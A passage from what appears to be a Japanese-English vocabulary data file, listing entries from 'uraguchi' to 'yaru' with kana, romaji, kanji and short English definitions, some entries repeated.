to;to double-cross\"\n\t},\n\n\t{\n\t\t'kana':'うらぐち',\n\t\t'romaji':'uraguchi',\n\t\t'kanji':'裏口',\n\t\t'definition':\"backdoor;rear entrance\"\n\t},\n\n\t{\n\t\t'kana':'うらみ',\n\t\t'romaji':'urami',\n\t\t'kanji':'恨み',\n\t\t'definition':\"resentment\"\n\t},\n\n\t{\n\t\t'kana':'うらむ',\n\t\t'romaji':'uramu',\n\t\t'kanji':'恨む',\n\t\t'definition':\"to curse;to feel bitter\"\n\t},\n\n\t{\n\t\t'kana':'うらなう',\n\t\t'romaji':'uranau',\n\t\t'kanji':'占う',\n\t\t'definition':\"to forecast;to predict\"\n\t},\n\n\t{\n\t\t'kana':'うらやましい',\n\t\t'romaji':'urayamashii',\n\t\t'kanji':'羨ましい',\n\t\t'definition':\"envious;enviable\"\n\t},\n\n\t{\n\t\t'kana':'うらやむ',\n\t\t'romaji':'urayamu',\n\t\t'kanji':'羨む',\n\t\t'definition':\"to envy\"\n\t},\n\n\t{\n\t\t'kana':'うれる',\n\t\t'romaji':'ureru',\n\t\t'kanji':'売れる',\n\t\t'definition':\"to be sold\"\n\t},\n\n\t{\n\t\t'kana':'うれしい',\n\t\t'romaji':'ureshii',\n\t\t'kanji':'嬉しい',\n\t\t'definition':\"happy;glad;pleasant\"\n\t},\n\n\t{\n\t\t'kana':'うれゆき',\n\t\t'romaji':'ureyuki',\n\t\t'kanji':'売れ行き',\n\t\t'definition':\"sales\"\n\t},\n\n\t{\n\t\t'kana':'うりあげ',\n\t\t'romaji':'uriage',\n\t\t'kanji':'売上',\n\t\t'definition':\"amount sold;proceeds\"\n\t},\n\n\t{\n\t\t'kana':'うりば',\n\t\t'romaji':'uriba',\n\t\t'kanji':'売り場',\n\t\t'definition':\"place where things are sold;salesfloor;counter (in shop)\"\n\t},\n\n\t{\n\t\t'kana':'うりだし',\n\t\t'romaji':'uridashi',\n\t\t'kanji':'売り出し',\n\t\t'definition':\"(bargain) sale\"\n\t},\n\n\t{\n\t\t'kana':'うりだす',\n\t\t'romaji':'uridasu',\n\t\t'kanji':'売り出す',\n\t\t'definition':\"to put on sale;to market;to become popular\"\n\t},\n\n\t{\n\t\t'kana':'うりきれ',\n\t\t'romaji':'urikire',\n\t\t'kanji':'売り切れ',\n\t\t'definition':\"sold-out\"\n\t},\n\n\t{\n\t\t'kana':'うりきれる',\n\t\t'romaji':'urikireru',\n\t\t'kanji':'売り切れる',\n\t\t'definition':\"to be sold out\"\n\t},\n\n\t{\n\t\t'kana':'うろうろ',\n\t\t'romaji':'urouro',\n\t\t'kanji':'',\n\t\t'definition':\"loiteringly;aimless wandering\"\n\t},\n\n\t{\n\t\t'kana':'うる',\n\t\t'romaji':'uru',\n\t\t'kanji':'得る',\n\t\t'definition':\"to obtain;to acquire\"\n\t},\n\n\t{\n\t\t'kana':'うる',\n\t\t'romaji':'uru',\n\t\t'kanji':'売る',\n\t\t'definition':\"to sell\"\n\t},\n\n\t{\n\t\t'kana':'ウール',\n\t\t'romaji':'u-ru',\n\t\t'kanji':'',\n\t\t'definition':\"wool\"\n\t},\n\n\t{\n\t\t'kana':'うるおう',\n\t\t'romaji':'uruou',\n\t\t'kanji':'潤う',\n\t\t'definition':\"to be moist;to be damp;to get wet;to profit by;to be watered;to receive benefits;to favor;to charm;to steepen\"\n\t},\n\n\t{\n\t\t'kana':'うるさい',\n\t\t'romaji':'urusai',\n\t\t'kanji':'五月蝿い',\n\t\t'definition':\"noisy;loud;fussy\"\n\t},\n\n\t{\n\t\t'kana':'うさぎ',\n\t\t'romaji':'usagi',\n\t\t'kanji':'兎',\n\t\t'definition':\"rabbit;hare;cony\"\n\t},\n\n\t{\n\t\t'kana':'うし',\n\t\t'romaji':'ushi',\n\t\t'kanji':'牛',\n\t\t'definition':\"cattle;cow\"\n\t},\n\n\t{\n\t\t'kana':'うしなう',\n\t\t'romaji':'ushinau',\n\t\t'kanji':'失う',\n\t\t'definition':\"to lose;to part with\"\n\t},\n\n\t{\n\t\t'kana':'うしお',\n\t\t'romaji':'ushio',\n\t\t'kanji':'潮',\n\t\t'definition':\"tide\"\n\t},\n\n\t{\n\t\t'kana':'うそ',\n\t\t'romaji':'uso',\n\t\t'kanji':'嘘',\n\t\t'definition':\"lie;falsehood;incorrect fact;inappropriate\"\n\t},\n\n\t{\n\t\t'kana':'うそつき',\n\t\t'romaji':'usotsuki',\n\t\t'kanji':'嘘つき',\n\t\t'definition':\"liar (sometimes said with not much seriousness);fibber\"\n\t},\n\n\t{\n\t\t'kana':'うすぐらい',\n\t\t'romaji':'usugurai',\n\t\t'kanji':'薄暗い',\n\t\t'definition':\"dim;gloomy\"\n\t},\n\n\t{\n\t\t'kana':'うすい',\n\t\t'romaji':'usui',\n\t\t'kanji':'薄い',\n\t\t'definition':\"thin;weak;watery;diluted\"\n\t},\n\n\t{\n\t\t'kana':'うすめる',\n\t\t'romaji':'usumeru',\n\t\t'kanji':'薄める',\n\t\t'definition':\"to dilute;to water down\"\n\t},\n\n\t{\n\t\t'kana':'うた',\n\t\t'romaji':'uta',\n\t\t'kanji':'歌',\n\t\t'definition':\"song;poetry\"\n\t},\n\n\t{\n\t\t'kana':'うた',\n\t\t'romaji':'uta',\n\t\t'kanji':'歌',\n\t\t'definition':\"song;poetry\"\n\t},\n\n\t{\n\t\t'kana':'うたがう',\n\t\t'romaji':'utagau',\n\t\t'kanji':'疑う',\n\t\t'definition':\"to doubt;to distrust;to be suspicious of;to suspect\"\n\t},\n\n\t{\n\t\t'kana':'うたたね',\n\t\t'romaji':'utatane',\n\t\t'kanji':'転寝',\n\t\t'definition':\"dozing;napping on the floor (in one's clothes)\"\n\t},\n\n\t{\n\t\t'kana':'うたう',\n\t\t'romaji':'utau',\n\t\t'kanji':'歌う',\n\t\t'definition':\"to sing\"\n\t},\n\n\t{\n\t\t'kana':'うてん',\n\t\t'romaji':'uten',\n\t\t'kanji':'雨天',\n\t\t'definition':\"rainy weather\"\n\t},\n\n\t{\n\t\t'kana':'うつ',\n\t\t'romaji':'utsu',\n\t\t'kanji':'撃つ',\n\t\t'definition':\"to attack;to defeat;to destroy\"\n\t},\n\n\t{\n\t\t'kana':'うつ',\n\t\t'romaji':'utsu',\n\t\t'kanji':'討つ',\n\t\t'definition':\"to attack;to avenge\"\n\t},\n\n\t{\n\t\t'kana':'うつ',\n\t\t'romaji':'utsu',\n\t\t'kanji':'打つ',\n\t\t'definition':\"to hit;to strike\"\n\t},\n\n\t{\n\t\t'kana':'うつくしい',\n\t\t'romaji':'utsukushii',\n\t\t'kanji':'美しい',\n\t\t'definition':\"beautiful;lovely\"\n\t},\n\n\t{\n\t\t'kana':'うつむく',\n\t\t'romaji':'utsumuku',\n\t\t'kanji':'俯く',\n\t\t'definition':\"to hang one's head for shame\"\n\t},\n\n\t{\n\t\t'kana':'うつろ',\n\t\t'romaji':'utsuro',\n\t\t'kanji':'空ろ',\n\t\t'definition':\"blank;cavity;hollow;empty (space)\"\n\t},\n\n\t{\n\t\t'kana':'うつる',\n\t\t'romaji':'utsuru',\n\t\t'kanji':'映る',\n\t\t'definition':\"to be reflected;to harmonize with;to come out (photo)\"\n\t},\n\n\t{\n\t\t'kana':'うつる',\n\t\t'romaji':'utsuru',\n\t\t'kanji':'写る',\n\t\t'definition':\"to be photographed;to be projected\"\n\t},\n\n\t{\n\t\t'kana':'うつる',\n\t\t'romaji':'utsuru',\n\t\t'kanji':'移る',\n\t\t'definition':\"to move (house);to be infected;to be contagious;to transfer (department)\"\n\t},\n\n\t{\n\t\t'kana':'うつし',\n\t\t'romaji':'utsushi',\n\t\t'kanji':'写し',\n\t\t'definition':\"copy;duplicate;facsimile;transcript\"\n\t},\n\n\t{\n\t\t'kana':'うつす',\n\t\t'romaji':'utsusu',\n\t\t'kanji':'映す',\n\t\t'definition':\"to project;to reflect;to cast (shadow)\"\n\t},\n\n\t{\n\t\t'kana':'うつす',\n\t\t'romaji':'utsusu',\n\t\t'kanji':'写す',\n\t\t'definition':\"to film;to transcribe;to duplicate;to reproduce;to trace;to describe;to picture;to photograph;to imitate\"\n\t},\n\n\t{\n\t\t'kana':'うつす',\n\t\t'romaji':'utsusu',\n\t\t'kanji':'移す',\n\t\t'definition':\"to remove;to transfer;to infect\"\n\t},\n\n\t{\n\t\t'kana':'うつわ',\n\t\t'romaji':'utsuwa',\n\t\t'kanji':'器',\n\t\t'definition':\"bowl;vessel;container\"\n\t},\n\n\t{\n\t\t'kana':'うつわ',\n\t\t'romaji':'utsuwa',\n\t\t'kanji':'器',\n\t\t'definition':\"bowl;vessel;container\"\n\t},\n\n\t{\n\t\t'kana':'うったえ',\n\t\t'romaji':'uttae',\n\t\t'kanji':'訴え',\n\t\t'definition':\"lawsuit;complaint\"\n\t},\n\n\t{\n\t\t'kana':'うったえる',\n\t\t'romaji':'uttaeru',\n\t\t'kanji':'訴える',\n\t\t'definition':\"to sue (a person);to resort to;to appeal to\"\n\t},\n\n\t{\n\t\t'kana':'うっとうしい',\n\t\t'romaji':'uttoushii',\n\t\t'kanji':'鬱陶しい',\n\t\t'definition':\"gloomy;depressing\"\n\t},\n\n\t{\n\t\t'kana':'うわぎ',\n\t\t'romaji':'uwagi',\n\t\t'kanji':'上着',\n\t\t'definition':\"coat;tunic;jacket;outer garment\"\n\t},\n\n\t{\n\t\t'kana':'うわき',\n\t\t'romaji':'uwaki',\n\t\t'kanji':'浮気',\n\t\t'definition':\"flighty;fickle;wanton;unfaithful\"\n\t},\n\n\t{\n\t\t'kana':'うわまわる',\n\t\t'romaji':'uwamawaru',\n\t\t'kanji':'上回る',\n\t\t'definition':\"to exceed\"\n\t},\n\n\t{\n\t\t'kana':'うわる',\n\t\t'romaji':'uwaru',\n\t\t'kanji':'植わる',\n\t\t'definition':\"to be planted\"\n\t},\n\n\t{\n\t\t'kana':'うわさ',\n\t\t'romaji':'uwasa',\n\t\t'kanji':'噂',\n\t\t'definition':\"rumour;report;gossip;common talk\"\n\t},\n\n\t{\n\t\t'kana':'うわて',\n\t\t'romaji':'uwate',\n\t\t'kanji':'上手',\n\t\t'definition':\"1. upper part;upper stream;left side (of a stage); 2. skillful (only in comparisons);dexterity (only in comparisons)\"\n\t},\n\n\t{\n\t\t'kana':'うやまう',\n\t\t'romaji':'uyamau',\n\t\t'kanji':'敬う',\n\t\t'definition':\"to show respect;to honour\"\n\t},\n\n\t{\n\t\t'kana':'うず',\n\t\t'romaji':'uzu',\n\t\t'kanji':'渦',\n\t\t'definition':\"swirl\"\n\t},\n\n\t{\n\t\t'kana':'うずまる',\n\t\t'romaji':'uzumaru',\n\t\t'kanji':'埋まる',\n\t\t'definition':\"to be buried;to be surrounded;to overflow;to be filled\"\n\t},\n\n\t{\n\t\t'kana':'うずめる',\n\t\t'romaji':'uzumeru',\n\t\t'kanji':'埋める',\n\t\t'definition':\"to bury (e.g. one's face in hands)\"\n\t},\n\n\t{\n\t\t'kana':'うずめる',\n\t\t'romaji':'uzumeru',\n\t\t'kanji':'埋める',\n\t\t'definition':\"to bury (e.g. one's face in hands)\"\n\t},\n\n\t{\n\t\t'kana':'わ',\n\t\t'romaji':'wa',\n\t\t'kanji':'和',\n\t\t'definition':\"sum;harmony;peace\"\n\t},\n\n\t{\n\t\t'kana':'わび',\n\t\t'romaji':'wabi',\n\t\t'kanji':'詫び',\n\t\t'definition':\"apology\"\n\t},\n\n\t{\n\t\t'kana':'わびる',\n\t\t'romaji':'wabiru',\n\t\t'kanji':'詫びる',\n\t\t'definition':\"to apologize\"\n\t},\n\n\t{\n\t\t'kana':'わぶん',\n\t\t'romaji':'wabun',\n\t\t'kanji':'和文',\n\t\t'definition':\"Japanese text;sentence in Japanese\"\n\t},\n\n\t{\n\t\t'kana':'わだい',\n\t\t'romaji':'wadai',\n\t\t'kanji':'話題',\n\t\t'definition':\"topic;subject\"\n\t},\n\n\t{\n\t\t'kana':'わえい',\n\t\t'romaji':'waei',\n\t\t'kanji':'和英',\n\t\t'definition':\"Japanese-English\"\n\t},\n\n\t{\n\t\t'kana':'わふく',\n\t\t'romaji':'wafuku',\n\t\t'kanji':'和服',\n\t\t'definition':\"Japanese clothes\"\n\t},\n\n\t{\n\t\t'kana':'わふう',\n\t\t'romaji':'wafuu',\n\t\t'kanji':'和風',\n\t\t'definition':\"Japanese style\"\n\t},\n\n\t{\n\t\t'kana':'わが',\n\t\t'romaji':'waga',\n\t\t'kanji':'我',\n\t\t'definition':\"my;our;one's own\"\n\t},\n\n\t{\n\t\t'kana':'わが',\n\t\t'romaji':'waga',\n\t\t'kanji':'我',\n\t\t'definition':\"my;our;one's own\"\n\t},\n\n\t{\n\t\t'kana':'わがまま',\n\t\t'romaji':'wagamama',\n\t\t'kanji':'我がまま',\n\t\t'definition':\"selfishness;egoism;wilfulness;disobedience;whim\"\n\t},\n\n\t{\n\t\t'kana':'ワイン',\n\t\t'romaji':'wain',\n\t\t'kanji':'',\n\t\t'definition':\"wine\"\n\t},\n\n\t{\n\t\t'kana':'ワイシャツ',\n\t\t'romaji':'waisyatsu',\n\t\t'kanji':'',\n\t\t'definition':\"shirt (lit: white shirt);business shirt\"\n\t},\n\n\t{\n\t\t'kana':'わかい',\n\t\t'romaji':'wakai',\n\t\t'kanji':'若い',\n\t\t'definition':\"young\"\n\t},\n\n\t{\n\t\t'kana':'わかれ',\n\t\t'romaji':'wakare',\n\t\t'kanji':'別れ',\n\t\t'definition':\"parting;separation;farewell;(lateral) branch;fork;offshoot;division;section\"\n\t},\n\n\t{\n\t\t'kana':'わかれる',\n\t\t'romaji':'wakareru',\n\t\t'kanji':'分かれる',\n\t\t'definition':\"to branch off;to diverge from;to fork;to split;to dispense;to scatter;to divide into\"\n\t},\n\n\t{\n\t\t'kana':'わかれる',\n\t\t'romaji':'wakareru',\n\t\t'kanji':'別れる',\n\t\t'definition':\"to be divided;to part from;to separate;to bid farewell\"\n\t},\n\n\t{\n\t\t'kana':'わかる',\n\t\t'romaji':'wakaru',\n\t\t'kanji':'分かる',\n\t\t'definition':\"to be understood\"\n\t},\n\n\t{\n\t\t'kana':'わかす',\n\t\t'romaji':'wakasu',\n\t\t'kanji':'沸かす',\n\t\t'definition':\"to boil;to heat\"\n\t},\n\n\t{\n\t\t'kana':'わかわかしい',\n\t\t'romaji':'wakawakashii',\n\t\t'kanji':'若々しい',\n\t\t'definition':\"youthful;young\"\n\t},\n\n\t{\n\t\t'kana':'わけ',\n\t\t'romaji':'wake',\n\t\t'kanji':'訳',\n\t\t'definition':\"meaning;reason;circumstances;can be deduced;situation\"\n\t},\n\n\t{\n\t\t'kana':'わけ',\n\t\t'romaji':'wake',\n\t\t'kanji':'訳',\n\t\t'definition':\"meaning;reason;circumstances;can be deduced;situation\"\n\t},\n\n\t{\n\t\t'kana':'わける',\n\t\t'romaji':'wakeru',\n\t\t'kanji':'分ける',\n\t\t'definition':\"to divide;to separate\"\n\t},\n\n\t{\n\t\t'kana':'わき',\n\t\t'romaji':'waki',\n\t\t'kanji':'脇',\n\t\t'definition':\"side\"\n\t},\n\n\t{\n\t\t'kana':'わく',\n\t\t'romaji':'waku',\n\t\t'kanji':'湧く',\n\t\t'definition':\"to boil;to grow hot;to get excited;to gush forth\"\n\t},\n\n\t{\n\t\t'kana':'わく',\n\t\t'romaji':'waku',\n\t\t'kanji':'沸く',\n\t\t'definition':\"to boil;to grow hot;to get excited;to gush forth\"\n\t},\n\n\t{\n\t\t'kana':'わく',\n\t\t'romaji':'waku',\n\t\t'kanji':'枠',\n\t\t'definition':\"frame;slide\"\n\t},\n\n\t{\n\t\t'kana':'わくせい',\n\t\t'romaji':'wakusei',\n\t\t'kanji':'惑星',\n\t\t'definition':\"planet\"\n\t},\n\n\t{\n\t\t'kana':'わん',\n\t\t'romaji':'wan',\n\t\t'kanji':'碗',\n\t\t'definition':\"bowl\"\n\t},\n\n\t{\n\t\t'kana':'わん',\n\t\t'romaji':'wan',\n\t\t'kanji':'椀',\n\t\t'definition':\"Japanese soup bowl;wooden bowl\"\n\t},\n\n\t{\n\t\t'kana':'わん',\n\t\t'romaji':'wan',\n\t\t'kanji':'湾',\n\t\t'definition':\"bay;gulf;inlet\"\n\t},\n\n\t{\n\t\t'kana':'ワンピース',\n\t\t'romaji':'wanpi-su',\n\t\t'kanji':'',\n\t\t'definition':\"one-piece dress\"\n\t},\n\n\t{\n\t\t'kana':'わら',\n\t\t'romaji':'wara',\n\t\t'kanji':'藁',\n\t\t'definition':\"straw\"\n\t},\n\n\t{\n\t\t'kana':'わらい',\n\t\t'romaji':'warai',\n\t\t'kanji':'笑い',\n\t\t'definition':\"laugh;laughter;smile\"\n\t},\n\n\t{\n\t\t'kana':'わらう',\n\t\t'romaji':'warau',\n\t\t'kanji':'笑う',\n\t\t'definition':\"to laugh;to smile\"\n\t},\n\n\t{\n\t\t'kana':'われる',\n\t\t'romaji':'wareru',\n\t\t'kanji':'割れる',\n\t\t'definition':\"to break;to split;to cleave;to fissure;to be smashed;to crack;to be torn\"\n\t},\n\n\t{\n\t\t'kana':'われわれ',\n\t\t'romaji':'wareware',\n\t\t'kanji':'我々',\n\t\t'definition':\"we\"\n\t},\n\n\t{\n\t\t'kana':'わりあい',\n\t\t'romaji':'wariai',\n\t\t'kanji':'割合',\n\t\t'definition':\"rate;ratio;proportion;comparatively;contrary to expectations\"\n\t},\n\n\t{\n\t\t'kana':'わりあいに',\n\t\t'romaji':'wariaini',\n\t\t'kanji':'割合に',\n\t\t'definition':\"comparatively\"\n\t},\n\n\t{\n\t\t'kana':'わりあて',\n\t\t'romaji':'wariate',\n\t\t'kanji':'割り当て',\n\t\t'definition':\"allotment;assignment;allocation;quota;rationing\"\n\t},\n\n\t{\n\t\t'kana':'わりびき',\n\t\t'romaji':'waribiki',\n\t\t'kanji':'割引き',\n\t\t'definition':\"discount;reduction;rebate;tenths discounted\"\n\t},\n\n\t{\n\t\t'kana':'わりこむ',\n\t\t'romaji':'warikomu',\n\t\t'kanji':'割り込む',\n\t\t'definition':\"to cut in;to thrust oneself into;to wedge oneself in;to muscle in on;to interrupt;to disturb\"\n\t},\n\n\t{\n\t\t'kana':'わりざん',\n\t\t'romaji':'warizan',\n\t\t'kanji':'割り算',\n\t\t'definition':\"division (math)\"\n\t},\n\n\t{\n\t\t'kana':'わる',\n\t\t'romaji':'waru',\n\t\t'kanji':'割る',\n\t\t'definition':\"to divide;to cut;to break;to halve;to separate;to split;to rip;to crack;to smash;to dilute\"\n\t},\n\n\t{\n\t\t'kana':'わるもの',\n\t\t'romaji':'warumono',\n\t\t'kanji':'悪者',\n\t\t'definition':\"bad fellow;rascal;ruffian;scoundrel\"\n\t},\n\n\t{\n\t\t'kana':'わすれもの',\n\t\t'romaji':'wasuremono',\n\t\t'kanji':'忘れ物',\n\t\t'definition':\"lost article;something forgotten\"\n\t},\n\n\t{\n\t\t'kana':'わすれる',\n\t\t'romaji':'wasureru',\n\t\t'kanji':'忘れる',\n\t\t'definition':\"to forget;to leave carelessly;to be forgetful of;to forget about;to forget (an article)\"\n\t},\n\n\t{\n\t\t'kana':'わたりどり',\n\t\t'romaji':'wataridori',\n\t\t'kanji':'渡り鳥',\n\t\t'definition':\"migratory bird;bird of passage\"\n\t},\n\n\t{\n\t\t'kana':'わたる',\n\t\t'romaji':'wataru',\n\t\t'kanji':'渡る',\n\t\t'definition':\"to cross over;to go across\"\n\t},\n\n\t{\n\t\t'kana':'わたす',\n\t\t'romaji':'watasu',\n\t\t'kanji':'渡す',\n\t\t'definition':\"to pass over;to hand over\"\n\t},\n\n\t{\n\t\t'kana':'ワット',\n\t\t'romaji':'wato',\n\t\t'kanji':'',\n\t\t'definition':\"watt\"\n\t},\n\n\t{\n\t\t'kana':'わざ',\n\t\t'romaji':'waza',\n\t\t'kanji':'技',\n\t\t'definition':\"art;technique\"\n\t},\n\n\t{\n\t\t'kana':'わざと',\n\t\t'romaji':'wazato',\n\t\t'kanji':'態と',\n\t\t'definition':\"on purpose\"\n\t},\n\n\t{\n\t\t'kana':'わざわざ',\n\t\t'romaji':'wazawaza',\n\t\t'kanji':'態々',\n\t\t'definition':\"expressly;specially;doing something especially rather than incidentally\"\n\t},\n\n\t{\n\t\t'kana':'わずか',\n\t\t'romaji':'wazuka',\n\t\t'kanji':'僅か',\n\t\t'definition':\"only;merely;a little;small quantity\"\n\t},\n\n\t{\n\t\t'kana':'わずらわしい',\n\t\t'romaji':'wazurawashii',\n\t\t'kanji':'煩わしい',\n\t\t'definition':\"troublesome;annoying;complicated\"\n\t},\n\n\t{\n\t\t'kana':'ウェートレス',\n\t\t'romaji':'whe-toresu',\n\t\t'kanji':'',\n\t\t'definition':\"waitress\"\n\t},\n\n\t{\n\t\t'kana':'や',\n\t\t'romaji':'ya',\n\t\t'kanji':'哉',\n\t\t'definition':\"question mark\"\n\t},\n\n\t{\n\t\t'kana':'や',\n\t\t'romaji':'ya',\n\t\t'kanji':'矢',\n\t\t'definition':\"arrow\"\n\t},\n\n\t{\n\t\t'kana':'やぶれる',\n\t\t'romaji':'yabureru',\n\t\t'kanji':'破れる',\n\t\t'definition':\"to get torn;to wear out\"\n\t},\n\n\t{\n\t\t'kana':'やぶる',\n\t\t'romaji':'yaburu',\n\t\t'kanji':'破る',\n\t\t'definition':\"to tear;to violate;to defeat;to smash;to destroy\"\n\t},\n\n\t{\n\t\t'kana':'やちん',\n\t\t'romaji':'yachin',\n\t\t'kanji':'家賃',\n\t\t'definition':\"rent\"\n\t},\n\n\t{\n\t\t'kana':'やちゅう',\n\t\t'romaji':'yachuu',\n\t\t'kanji':'夜中',\n\t\t'definition':\"all night;the whole night\"\n\t},\n\n\t{\n\t\t'kana':'やど',\n\t\t'romaji':'yado',\n\t\t'kanji':'宿',\n\t\t'definition':\"inn;lodging\"\n\t},\n\n\t{\n\t\t'kana':'やがい',\n\t\t'romaji':'yagai',\n\t\t'kanji':'野外',\n\t\t'definition':\"fields;outskirts;open air;suburbs\"\n\t},\n\n\t{\n\t\t'kana':'やがて',\n\t\t'romaji':'yagate',\n\t\t'kanji':'軈て',\n\t\t'definition':\"before long;soon;at length\"\n\t},\n\n\t{\n\t\t'kana':'やぐ',\n\t\t'romaji':'yagu',\n\t\t'kanji':'夜具',\n\t\t'definition':\"bedding\"\n\t},\n\n\t{\n\t\t'kana':'やぎょう',\n\t\t'romaji':'yagyou',\n\t\t'kanji':'夜行',\n\t\t'definition':\"walking around at night;night train;night travel\"\n\t},\n\n\t{\n\t\t'kana':'やじるし',\n\t\t'romaji':'yajirushi',\n\t\t'kanji':'矢印',\n\t\t'definition':\"directing arrow\"\n\t},\n\n\t{\n\t\t'kana':'やかましい',\n\t\t'romaji':'yakamashii',\n\t\t'kanji':'喧しい',\n\t\t'definition':\"noisy;strict;fussy\"\n\t},\n\n\t{\n\t\t'kana':'やかん',\n\t\t'romaji':'yakan',\n\t\t'kanji':'夜間',\n\t\t'definition':\"at night;nighttime\"\n\t},\n\n\t{\n\t\t'kana':'やかん',\n\t\t'romaji':'yakan',\n\t\t'kanji':'夜間',\n\t\t'definition':\"at night;nighttime\"\n\t},\n\n\t{\n\t\t'kana':'やける',\n\t\t'romaji':'yakeru',\n\t\t'kanji':'焼ける',\n\t\t'definition':\"to burn;to be roasted;to be sunburnt\"\n\t},\n\n\t{\n\t\t'kana':'やっかい',\n\t\t'romaji':'yakkai',\n\t\t'kanji':'厄介',\n\t\t'definition':\"trouble;burden;care;bother;worry;dependence;support;kindness;obligation\"\n\t},\n\n\t{\n\t\t'kana':'やっこ',\n\t\t'romaji':'yako',\n\t\t'kanji':'奴',\n\t\t'definition':\"servant;fellow\"\n\t},\n\n\t{\n\t\t'kana':'やく',\n\t\t'romaji':'yaku',\n\t\t'kanji':'約',\n\t\t'definition':\"approximately;about;some\"\n\t},\n\n\t{\n\t\t'kana':'やく',\n\t\t'romaji':'yaku',\n\t\t'kanji':'焼く',\n\t\t'definition':\"to bake;to grill\"\n\t},\n\n\t{\n\t\t'kana':'やくば',\n\t\t'romaji':'yakuba',\n\t\t'kanji':'役場',\n\t\t'definition':\"town hall\"\n\t},\n\n\t{\n\t\t'kana':'やくだつ',\n\t\t'romaji':'yakudatsu',\n\t\t'kanji':'役立つ',\n\t\t'definition':\"to be useful;to be helpful;to serve the purpose\"\n\t},\n\n\t{\n\t\t'kana':'やくひん',\n\t\t'romaji':'yakuhin',\n\t\t'kanji':'薬品',\n\t\t'definition':\"medicine(s);chemical(s)\"\n\t},\n\n\t{\n\t\t'kana':'やくめ',\n\t\t'romaji':'yakume',\n\t\t'kanji':'役目',\n\t\t'definition':\"duty;business\"\n\t},\n\n\t{\n\t\t'kana':'やくにん',\n\t\t'romaji':'yakunin',\n\t\t'kanji':'役人',\n\t\t'definition':\"government official\"\n\t},\n\n\t{\n\t\t'kana':'やくしゃ',\n\t\t'romaji':'yakusha',\n\t\t'kanji':'役者',\n\t\t'definition':\"actor;actress\"\n\t},\n\n\t{\n\t\t'kana':'やくしょ',\n\t\t'romaji':'yakusho',\n\t\t'kanji':'役所',\n\t\t'definition':\"government office;public office\"\n\t},\n\n\t{\n\t\t'kana':'やくしょく',\n\t\t'romaji':'yakushoku',\n\t\t'kanji':'役職',\n\t\t'definition':\"post;managerial position;official position\"\n\t},\n\n\t{\n\t\t'kana':'やくそく',\n\t\t'romaji':'yakusoku',\n\t\t'kanji':'約束',\n\t\t'definition':\"arrangement;promise\"\n\t},\n\n\t{\n\t\t'kana':'やくす',\n\t\t'romaji':'yakusu',\n\t\t'kanji':'訳す',\n\t\t'definition':\"to translate\"\n\t},\n\n\t{\n\t\t'kana':'やくわり',\n\t\t'romaji':'yakuwari',\n\t\t'kanji':'役割',\n\t\t'definition':\"part;role;duties\"\n\t},\n\n\t{\n\t\t'kana':'やっきょく',\n\t\t'romaji':'yakyoku',\n\t\t'kanji':'薬局',\n\t\t'definition':\"pharmacy;drugstore\"\n\t},\n\n\t{\n\t\t'kana':'やま',\n\t\t'romaji':'yama',\n\t\t'kanji':'山',\n\t\t'definition':\"mountain\"\n\t},\n\n\t{\n\t\t'kana':'やま',\n\t\t'romaji':'yama',\n\t\t'kanji':'山',\n\t\t'definition':\"mountain\"\n\t},\n\n\t{\n\t\t'kana':'やまい',\n\t\t'romaji':'yamai',\n\t\t'kanji':'病',\n\t\t'definition':\"illness;disease\"\n\t},\n\n\t{\n\t\t'kana':'やめる',\n\t\t'romaji':'yameru',\n\t\t'kanji':'辞める',\n\t\t'definition':\"to retire\"\n\t},\n\n\t{\n\t\t'kana':'やみ',\n\t\t'romaji':'yami',\n\t\t'kanji':'闇',\n\t\t'definition':\"darkness;the dark;black-marketeering;dark;shady;illegal\"\n\t},\n\n\t{\n\t\t'kana':'やむ',\n\t\t'romaji':'yamu',\n\t\t'kanji':'病む',\n\t\t'definition':\"to fall ill;to be ill\"\n\t},\n\n\t{\n\t\t'kana':'やむ',\n\t\t'romaji':'yamu',\n\t\t'kanji':'止む',\n\t\t'definition':\"to cease;to stop;to be over\"\n\t},\n\n\t{\n\t\t'kana':'やむをえない',\n\t\t'romaji':'yamuwoenai',\n\t\t'kanji':'止むを得ない',\n\t\t'definition':\"cannot be helped;unavoidable\"\n\t},\n\n\t{\n\t\t'kana':'やね',\n\t\t'romaji':'yane',\n\t\t'kanji':'屋根',\n\t\t'definition':\"roof\"\n\t},\n\n\t{\n\t\t'kana':'ヤング',\n\t\t'romaji':'yangu',\n\t\t'kanji':'',\n\t\t'definition':\"young\"\n\t},\n\n\t{\n\t\t'kana':'やおや',\n\t\t'romaji':'yaoya',\n\t\t'kanji':'八百屋',\n\t\t'definition':\"greengrocer\"\n\t},\n\n\t{\n\t\t'kana':'やっぱり',\n\t\t'romaji':'yappari',\n\t\t'kanji':'矢っ張り',\n\t\t'definition':\"also;as I thought;still;in spite of;absolutely\"\n\t},\n\n\t{\n\t\t'kana':'やりとげる',\n\t\t'romaji':'yaritogeru',\n\t\t'kanji':'やり遂げる',\n\t\t'definition':\"to accomplish\"\n\t},\n\n\t{\n\t\t'kana':'やりとおす',\n\t\t'romaji':'yaritoosu',\n\t\t'kanji':'遣り通す',\n\t\t'definition':\"to carry through;to achieve;to complete\"\n\t},\n\n\t{\n\t\t'kana':'やる',\n\t\t'romaji':'yaru',\n\t\t'kanji':'遣る',\n\t\t'definition':\"to do;to have sexual intercourse;to kill;to give (to inferiors animals etc.);to dispatch (a letter);to send;to study;to perform;to play (sports game);to have (eat drink smoke);to row (a boat);to run or operate (a restaurant)\"\n\t},\n\n\t{\n\t\t'kana':'やる',\n\t\t'romaji':'yaru',\n\t\t'kanji':'遣る',\n\t\t'definition':\"to do;to have sexual intercourse;to kill;to give (to inferiors animals etc.);to dispatch (a letter);to send;to study;to perform;to play (sports game);to have (eat drink smoke);to row (a boat);to run or operate (a 